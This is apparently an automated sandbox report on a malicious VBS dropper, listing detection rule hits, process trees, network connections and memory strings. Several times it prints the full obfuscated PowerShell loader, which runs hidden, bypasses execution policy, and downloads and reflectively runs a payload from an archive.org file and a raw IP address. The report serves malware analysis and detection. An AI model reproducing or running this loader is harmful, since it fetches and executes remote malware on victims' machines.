'KCgnWicrJ25pdScrJ3JsJysnID0gN3VYaHR0JysncHM6Ly9pYTYnKycwJysnMDEnKycwJysnMCcrJy51cy4nKydhJysncmMnKydoaXYnKydlLm9yZy8nKycyNC9pdGVtcy9kJysnZSc

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\f4576JaIo9.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\f4576JaIo9.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\f4576JaIo9.vbs", ProcessId: 5232, ProcessName: wscript.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnWicrJ25pdScrJ3JsJysnID0gN3VYaHR0JysncHM6Ly9pYTYnKycwJysnMDEnKycwJysnMCcrJy51cy4nKydhJysncmMnKydoaXYnKydlLm9yZy8nKycyNC9pdGVtcy9kJysnZScrJ3RhaCcrJy1ub3RlJysnLXYvRGUnKyd0YWhOb3RlVi4nKyd0eCcrJ3Q3JysndVgnKyc7JysnWicrJ25pYmFzJysnZTY0JysnQ29uJysndCcrJ2VudCA9IChOZXctT2InKydqZWN0IFN5Jysnc3RlJysnbScrJy4nKydOJysnZScrJ3QuV2ViQycrJ2wnKydpZW50JysnKS5EbycrJ3cnKyduJysnbG9hZFN0JysncmluZyhaJysnbicrJ2l1cmwpJysnO1puaScrJ2JpbmFyeUMnKydvbicrJ3RlbnQnKycgJysnPSBbUycrJ3lzdGUnKydtLkMnKydvJysnbnZlcicrJ3RdOjpGcicrJ29tQmFzZTY0U3RyaScrJ24nKydnKFpuaWJhc2U2JysnNENvbnQnKydlJysnbicrJ3QnKycpOycrJ1puaWEnKydzc2VtYmwnKyd5ICcrJz0gW1JlZmwnKydlY3QnKydpb24nKycuQXNzZScrJ20nKydibHldJysnOjpMJysnb2FkJysnKCcrJ1onKyduaWJpJysnbmFyeUNvbicrJ3QnKydlJysnbnQpO1onKyduJysnaXR5cGUgJysnPScrJyBaJysnbmlhc3NlbWInKydseS5HZXRUeXBlKDd1WCcrJ1InKyd1JysnblBFLkgnKydvJysnbWU3JysndVgnKycpOycrJ1puaW1lJysndGgnKydvZCcrJyAnKyc9IFonKyduJysnaXR5cGUuJysnRycrJ2UnKyd0TWV0JysnaCcrJ29kJysnKDd1WCcrJ1YnKydBSTd1JysnWCk7WicrJ25pbWV0aG8nKydkLkknKydudm9rZSgnKydabicrJ2knKyduJysndWxsLCcrJyAnKydbJysnb2JqZWMnKyd0W11dJysnQCcrJyg3dVh0eHQuRicrJ0ZDTlIvNDEnKyc0Mi81OC45OCcrJzEuMicrJzMnKycyLjI3MScrJy8nKycvJysnOnB0dGgnKyc3JysndVggJysnLCA3dVhkZXNhdGl2YScrJ2RvNycrJ3VYICcrJywgN3UnKydYZGVzJysnYScrJ3RpJysndmEnKydkbzd1WCAsJysnIDd1WCcrJ2QnKydlc2F0aXZhZG83dVgsNycrJ3VYUicrJ2VnQScrJ3NtNycrJ3VYJysnLDd1WDcnKyd1WCkpJyktUkVwbGFDZSAoW0NoQXJdNTUrW0NoQXJdMTE3K1tDaEFyXTg4KSxbQ2hBcl0zOSAtUkVwbGFDZSdabmknLFtDaEFyXTM2KSB8LiAoICRlTlY6Y09tU1BlQ1s0LDI0LDI1XS1qb2lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnWicrJ25pdScrJ3JsJysnID0gN3VYaHR0JysncHM6Ly9pYTYnKycwJysnMDEnKycwJysnMCcrJy51cy4nKydhJysncmMnKydoaXYnKydlLm9yZy8nKycyNC9pdGVtcy9kJysnZScrJ3RhaCcrJy1ub3RlJysnLXYvRGUnKyd0YWhOb3RlVi4nKyd0eCcrJ3Q3JysndVgnKyc7JysnWicrJ25pYmFzJysnZTY0JysnQ29uJysndCcrJ2VudCA9IChOZXctT2InKydqZWN0IFN5Jysnc3RlJysnbScrJy4nKydOJysnZScrJ3QuV2ViQycrJ2wnKydpZW50JysnKS5EbycrJ3cnKyduJysnbG9hZFN0JysncmluZyhaJysnbicrJ2l1cmwpJysnO1puaScrJ2JpbmFyeUMnKydvbicrJ3RlbnQnKycgJysnPSBbUycrJ3lzdGUnKydtLkMnKydvJysnbnZlcicrJ3RdOjpGcicrJ29tQmFzZTY0U3RyaScrJ24nKydnKFpuaWJhc2U2JysnNENvbnQnKydlJysnbicrJ3QnKycpOycrJ1puaWEnKydzc2VtYmwnKyd5ICcrJz0gW1JlZmwnKydlY3QnKydpb24nKycuQXNzZScrJ20nKydibHldJysnOjpMJysnb2FkJysnKCcrJ1onKyduaWJpJysnbmFyeUNvbicrJ3QnKydlJysnbnQpO1onKyduJysnaXR5cGUgJysnPScrJyBaJysnbmlhc3NlbWInKydseS5HZXRUeXBlKDd1WCcrJ1InKyd1JysnblBFLkgnKydvJysnbWU3JysndVgnKycpOycrJ1puaW1lJysndGgnKydvZCcrJyAnKyc9IFonKyduJysnaXR5cGUuJysnRycrJ2UnKyd0TWV0JysnaCcrJ29kJysnKDd1WCcrJ1YnKydBSTd1JysnWCk7WicrJ25pbWV0aG8nKydkLkknKydudm9rZSgnKydabicrJ2knKyduJysndWxsLCcrJyAnKydbJysnb2JqZWMnKyd0W11dJysnQCcrJyg3dVh0eHQuRicrJ0ZDTlIvNDEnKyc0Mi81OC45OCcrJzEuMicrJzMnKycyLjI3MScrJy8nKycvJysnOnB0dGgnKyc3Jysn

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\f4576JaIo9.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\f4576JaIo9.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\f4576JaIo9.vbs", ProcessId: 5232, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnWicrJ25pdScrJ3JsJysnID0gN3VYaHR0JysncHM6Ly9pYTYnKycwJysnMDEnKycwJysnMCcrJy51cy4nKydhJysncmMnKydoaXYnKydlLm9yZy8nKycyNC9pdGVtcy9kJysnZScrJ3RhaCcrJy1ub3RlJysnLXYvRGUnKyd0YWhOb3RlVi4nKyd0eCcrJ3Q3JysndVgnKyc7JysnWicrJ25pYmFzJysnZTY0JysnQ29uJysndCcrJ2VudCA9IChOZXctT2InKydqZWN0IFN5Jysnc3RlJysnbScrJy4nKydOJysnZScrJ3QuV2ViQycrJ2wnKydpZW50JysnKS5EbycrJ3cnKyduJysnbG9hZFN0JysncmluZyhaJysnbicrJ2l1cmwpJysnO1puaScrJ2JpbmFyeUMnKydvbicrJ3RlbnQnKycgJysnPSBbUycrJ3lzdGUnKydtLkMnKydvJysnbnZlcicrJ3RdOjpGcicrJ29tQmFzZTY0U3RyaScrJ24nKydnKFpuaWJhc2U2JysnNENvbnQnKydlJysnbicrJ3QnKycpOycrJ1puaWEnKydzc2VtYmwnKyd5ICcrJz0gW1JlZmwnKydlY3QnKydpb24nKycuQXNzZScrJ20nKydibHldJysnOjpMJysnb2FkJysnKCcrJ1onKyduaWJpJysnbmFyeUNvbicrJ3QnKydlJysnbnQpO1onKyduJysnaXR5cGUgJysnPScrJyBaJysnbmlhc3NlbWInKydseS5HZXRUeXBlKDd1WCcrJ1InKyd1JysnblBFLkgnKydvJysnbWU3JysndVgnKycpOycrJ1puaW1lJysndGgnKydvZCcrJyAnKyc9IFonKyduJysnaXR5cGUuJysnRycrJ2UnKyd0TWV0JysnaCcrJ29kJysnKDd1WCcrJ1YnKydBSTd1JysnWCk7WicrJ25pbWV0aG8nKydkLkknKydudm9rZSgnKydabicrJ2knKyduJysndWxsLCcrJyAnKydbJysnb2JqZWMnKyd0W11dJysnQCcrJyg3dVh0eHQuRicrJ0ZDTlIvNDEnKyc0Mi81OC45OCcrJzEuMicrJzMnKycyLjI3MScrJy8nKycvJysnOnB0dGgnKyc3JysndVggJysnLCA3dVhkZXNhdGl2YScrJ2RvNycrJ3VYICcrJywgN3UnKydYZGVzJysnYScrJ3RpJysndmEnKydkbzd1WCAsJysnIDd1WCcrJ2QnKydlc2F0aXZhZG83dVgsNycrJ3VYUicrJ2VnQScrJ3NtNycrJ3VYJysnLDd1WDcnKyd1WCkpJyktUkVwbGFDZSAoW0NoQXJdNTUrW0NoQXJdMTE3K1tDaEFyXTg4KSxbQ2hBcl0zOSAtUkVwbGFDZSdabmknLFtDaEFyXTM2KSB8LiAoICRlTlY6Y09tU1BlQ1s0LDI0LDI1XS1qb2lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnWicrJ25pdScrJ3JsJysnID0gN3VYaHR0JysncHM6Ly9pYTYnKycwJysnMDEnKycwJysnMCcrJy51cy4nKydhJysncmMnKydoaXYnKydlLm9yZy8nKycyNC9pdGVtcy9kJysnZScrJ3RhaCcrJy1ub3RlJysnLXYvRGUnKyd0YWhOb3RlVi4nKyd0eCcrJ3Q3JysndVgnKyc7JysnWicrJ25pYmFzJysnZTY0JysnQ29uJysndCcrJ2VudCA9IChOZXctT2InKydqZWN0IFN5Jysnc3RlJysnbScrJy4nKydOJysnZScrJ3QuV2ViQycrJ2wnKydpZW50JysnKS5EbycrJ3cnKyduJysnbG9hZFN0JysncmluZyhaJysnbicrJ2l1cmwpJysnO1puaScrJ2JpbmFyeUMnKydvbicrJ3RlbnQnKycgJysnPSBbUycrJ3lzdGUnKydtLkMnKydvJysnbnZlcicrJ3RdOjpGcicrJ29tQmFzZTY0U3RyaScrJ24nKydnKFpuaWJhc2U2JysnNENvbnQnKydlJysnbicrJ3QnKycpOycrJ1puaWEnKydzc2VtYmwnKyd5ICcrJz0gW1JlZmwnKydlY3QnKydpb24nKycuQXNzZScrJ20nKydibHldJysnOjpMJysnb2FkJysnKCcrJ1onKyduaWJpJysnbmFyeUNvbicrJ3QnKydlJysnbnQpO1onKyduJysnaXR5cGUgJysnPScrJyBaJysnbmlhc3NlbWInKydseS5HZXRUeXBlKDd1WCcrJ1InKyd1JysnblBFLkgnKydvJysnbWU3JysndVgnKycpOycrJ1puaW1lJysndGgnKydvZCcrJyAnKyc9IFonKyduJysnaXR5cGUuJysnRycrJ2UnKyd0TWV0JysnaCcrJ29kJysnKDd1WCcrJ1YnKydBSTd1JysnWCk7WicrJ25pbWV0aG8nKydkLkknKydudm9rZSgnKydabicrJ2knKyduJysndWxsLCcrJyAnKydbJysnb2JqZWMnKyd0W11dJysnQCcrJyg3dVh0eHQuRicrJ0ZDTlIvNDEnKyc0Mi81OC45OCcrJzEuMicrJzMnKycyLjI3MScrJy8nKycvJysnOnB0dGgnKyc3Jysn

Sigma detected: Potential Encoded PowerShell Patterns In CommandLine

Source: Process started

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for domain / URL

Source: https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt	Virustotal: Detection: 10%			Perma Link
Source: http://172.232.189.85/2414/RNCFF.txt	Virustotal: Detection: 14%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.8% probability

Source: unknown

HTTPS traffic detected: 207.241.227.240:443 -> 192.168.2.8:49704 version: TLS 1.2

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.1987452573.000002669CEED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: powershell.exe, 00000004.00000002.1987452573.000002669CE79000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: powershell.exe, 00000004.00000002.1988564778.000002669D0DC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.1988335673.000002669CF49000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Data.Linq.pdb source: powershell.exe, 00000004.00000002.1964132789.0000026695D7A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1989363837.000002669D440000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.pdb source: powershell.exe, 00000004.00000002.1987452573.000002669CE79000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: omation.pdbbN$ source: powershell.exe, 00000004.00000002.1988564778.000002669D0DC000.00000004.00000020.00020000.00000000.sdmp

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: global traffic	HTTP traffic detected: GET /24/items/detah-note-v/DetahNoteV.txt HTTP/1.1Host: ia600100.us.archive.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2414/RNCFF.txt HTTP/1.1Host: 172.232.189.85Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2414/RNCFF.txt HTTP/1.1Host: 172.232.189.85Connection: Keep-Alive

Source: Joe Sandbox View

IP Address: 207.241.227.240 207.241.227.240

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	TCP traffic detected without corresponding DNS query: 172.232.189.85
Source: unknown	TCP traffic detected without corresponding DNS query: 172.232.189.85
Source: unknown	TCP traffic detected without corresponding DNS query: 172.232.189.85
Source: unknown	TCP traffic detected without corresponding DNS query: 172.232.189.85
Source: unknown	TCP traffic detected without corresponding DNS query: 172.232.189.85
Source: unknown	TCP traffic detected without corresponding DNS query: 172.232.189.85
Source: unknown	TCP traffic detected without corresponding DNS query: 172.232.189.85
Source: unknown	TCP traffic detected without corresponding DNS query: 172.232.189.85
Source: unknown	TCP traffic detected without corresponding DNS query: 172.232.189.85
Source: unknown	TCP traffic detected without corresponding DNS query: 172.232.189.85
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /24/items/detah-note-v/DetahNoteV.txt HTTP/1.1Host: ia600100.us.archive.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2414/RNCFF.txt HTTP/1.1Host: 172.232.189.85Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2414/RNCFF.txt HTTP/1.1Host: 172.232.189.85Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: ia600100.us.archive.org

Source: powershell.exe, 00000004.00000002.1947344442.000002668536D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.232.189.85
Source: powershell.exe, 00000004.00000002.1947344442.000002668536D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.232.189.85(
Source: powershell.exe, 00000004.00000002.1947344442.0000026685194000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.232.189.85/2414/RNCFF.txt
Source: powershell.exe, 00000004.00000002.1947344442.0000026686458000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ia600100.us.archive.org
Source: powershell.exe, 00000004.00000002.1964132789.0000026694DD0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1947344442.0000026686810000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000004.00000002.1947344442.0000026684F84000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1947344442.00000266864A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.1999704630.00000154301E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1947344442.0000026684D61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000004.00000002.1947344442.00000266864A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000004.00000002.1947344442.0000026684F84000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1947344442.00000266864A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000002.00000002.1999704630.000001543016B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6
Source: powershell.exe, 00000002.00000002.1999704630.00000154301BB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1947344442.0000026684D61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000004.00000002.1947344442.0000026686810000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000004.00000002.1947344442.0000026686810000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000004.00000002.1947344442.0000026686810000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000004.00000002.1947344442.0000026684F84000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1947344442.00000266864A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000004.00000002.1947344442.00000266857E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000004.00000002.1947344442.00000266861E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600100.us.arX
Source: powershell.exe, 00000004.00000002.1947344442.0000026684F84000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1947344442.00000266861E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600100.us.archive.org
Source: powershell.exe, 00000004.00000002.1947344442.0000026684F84000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1947344442.00000266861E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt
Source: powershell.exe, 00000004.00000002.1947344442.0000026684F84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt7uX;Znibase64Content
Source: powershell.exe, 00000004.00000002.1964132789.0000026694DD0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1947344442.0000026686810000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000004.00000002.1947344442.00000266864A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000004.00000002.1947344442.00000266864A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX

Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704

Source: unknown

HTTPS traffic detected: 207.241.227.240:443 -> 192.168.2.8:49704 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 2852, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 5708, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnWicrJ25pdScrJ3JsJysnID0gN3VYaHR0JysncHM6Ly9pYTYnKycwJysnMDEnKycwJysnMCcrJy51cy4nKydhJysncmMnKydoaXYnKydlLm9yZy8nKycyNC9pdGVtcy9kJysnZScrJ3RhaCcrJy1ub3RlJysnLXYvRGUnKyd0YWhOb3RlVi4nKyd0eCcrJ3Q3JysndVgnKyc7JysnWicrJ25pYmFzJysnZTY0JysnQ29uJysndCcrJ2VudCA9IChOZXctT2InKydqZWN0IFN5Jysnc3RlJysnbScrJy4nKydOJysnZScrJ3QuV2ViQycrJ2wnKydpZW50JysnKS5EbycrJ3cnKyduJysnbG9hZFN0JysncmluZyhaJysnbicrJ2l1cmwpJysnO1puaScrJ2JpbmFyeUMnKydvbicrJ3RlbnQnKycgJysnPSBbUycrJ3lzdGUnKydtLkMnKydvJysnbnZlcicrJ3RdOjpGcicrJ29tQmFzZTY0U3RyaScrJ24nKydnKFpuaWJhc2U2JysnNENvbnQnKydlJysnbicrJ3QnKycpOycrJ1puaWEnKydzc2VtYmwnKyd5ICcrJz0gW1JlZmwnKydlY3QnKydpb24nKycuQXNzZScrJ20nKydibHldJysnOjpMJysnb2FkJysnKCcrJ1onKyduaWJpJysnbmFyeUNvbicrJ3QnKydlJysnbnQpO1onKyduJysnaXR5cGUgJysnPScrJyBaJysnbmlhc3NlbWInKydseS5HZXRUeXBlKDd1WCcrJ1InKyd1JysnblBFLkgnKydvJysnbWU3JysndVgnKycpOycrJ1puaW1lJysndGgnKydvZCcrJyAnKyc9IFonKyduJysnaXR5cGUuJysnRycrJ2UnKyd0TWV0JysnaCcrJ29kJysnKDd1WCcrJ1YnKydBSTd1JysnWCk7WicrJ25pbWV0aG8nKydkLkknKydudm9rZSgnKydabicrJ2knKyduJysndWxsLCcrJyAnKydbJysnb2JqZWMnKyd0W11dJysnQCcrJyg3dVh0eHQuRicrJ0ZDTlIvNDEnKyc0Mi81OC45OCcrJzEuMicrJzMnKycyLjI3MScrJy8nKycvJysnOnB0dGgnKyc3JysndVggJysnLCA3dVhkZXNhdGl2YScrJ2RvNycrJ3VYICcrJywgN3UnKydYZGVzJysnYScrJ3RpJysndmEnKydkbzd1WCAsJysnIDd1WCcrJ2QnKydlc2F0aXZhZG83dVgsNycrJ3VYUicrJ2VnQScrJ3NtNycrJ3VYJysnLDd1WDcnKyd1WCkpJyktUkVwbGFDZSAoW0NoQXJdNTUrW0NoQXJdMTE3K1tDaEFyXTg4KSxbQ2hBcl0zOSAtUkVwbGFDZSdabmknLFtDaEFyXTM2KSB8LiAoICRlTlY6Y09tU1BlQ1s0LDI0LDI1XS1qb2lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnWicrJ25pdScrJ3JsJysnID0gN3VYaHR0JysncHM6Ly9pYTYnKycwJysnMDEnKycwJysnMCcrJy51cy4nKydhJysncmMnKydoaXYnKydlLm9yZy8nKycyNC9pdGVtcy9kJysnZScrJ3RhaCcrJy1ub3RlJysnLXYvRGUnKyd0YWhOb3RlVi4nKyd0eCcrJ3Q3JysndVgnKyc7JysnWicrJ25pYmFzJysnZTY0JysnQ29uJysndCcrJ2VudCA9IChOZXctT2InKydqZWN0IFN5Jysnc3RlJysnbScrJy4nKydOJysnZScrJ3QuV2ViQycrJ2wnKydpZW50JysnKS5EbycrJ3cnKyduJysnbG9hZFN0JysncmluZyhaJysnbicrJ2l1cmwpJysnO1puaScrJ2JpbmFyeUMnKydvbicrJ3RlbnQnKycgJysnPSBbUycrJ3lzdGUnKydtLkMnKydvJysnbnZlcicrJ3RdOjpGcicrJ29tQmFzZTY0U3RyaScrJ24nKydnKFpuaWJhc2U2JysnNENvbnQnKydlJysnbicrJ3QnKycpOycrJ1puaWEnKydzc2VtYmwnKyd5ICcrJz0gW1JlZmwnKydlY3QnKydpb24nKycuQXNzZScrJ20nKydibHldJysnOjpMJysnb2FkJysnKCcrJ1onKyduaWJpJysnbmFyeUNvbicrJ3QnKydlJysnbnQpO1onKyduJysnaXR5cGUgJysnPScrJyBaJysnbmlhc3NlbWInKydseS5HZXRUeXBlKDd1WCcrJ1InKyd1JysnblBFLkgnKydvJysnbWU3JysndVgnKycpOycrJ1puaW1lJysndGgnKydvZCcrJyAnKyc9IFonKyduJysnaXR5cGUuJysnRycrJ2UnKyd0TWV0JysnaCcrJ29kJysnKDd1WCcrJ1YnKydBSTd1JysnWCk7WicrJ25pbWV0aG8nKydkLkknKydudm9rZSgnKydabicrJ2knKyduJysndWxsLCcrJyAnKydbJysnb2JqZWMnKyd0W11dJysnQCcrJyg3dVh0eHQuRicrJ0ZDTlIvNDEnKyc0Mi81OC45OCcrJzEuMicrJzMnKycyLjI3MScrJy8nKycvJysnOnB0dGgnKyc3JysndVggJysnLCA3dVhkZXNhdGl2YScrJ2RvNycrJ3VYICcrJywgN3UnKydYZGVzJysnYScrJ3RpJysndmEnKydkbzd1WCAsJysnIDd1WCcrJ2QnKydlc2F0aXZhZG83dVgsNycrJ3VYUicrJ2VnQScrJ3NtNycrJ3VYJysnLDd1WDcnKyd1WCkpJyktUkVwbGFDZSAoW0NoQXJdNTUrW0NoQXJdMTE3K1tDaEFyXTg4KSxbQ2hBcl0zOSAtUkVwbGFDZSdabmknLFtDaEFyXTM2KSB8LiAoICRlTlY6Y09tU1BlQ1s0LDI0LDI1XS1qb2lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD			Jump to behavior

Source: f4576JaIo9.vbs

Initial sample: Strings found which are bigger than 50

Source: Process Memory Space: powershell.exe PID: 2852, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 5708, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.troj.expl.evad.winVBS@6/6@1/2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7016:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cwprilqk.x4c.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\f4576JaIo9.vbs"

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\f4576JaIo9.vbs"
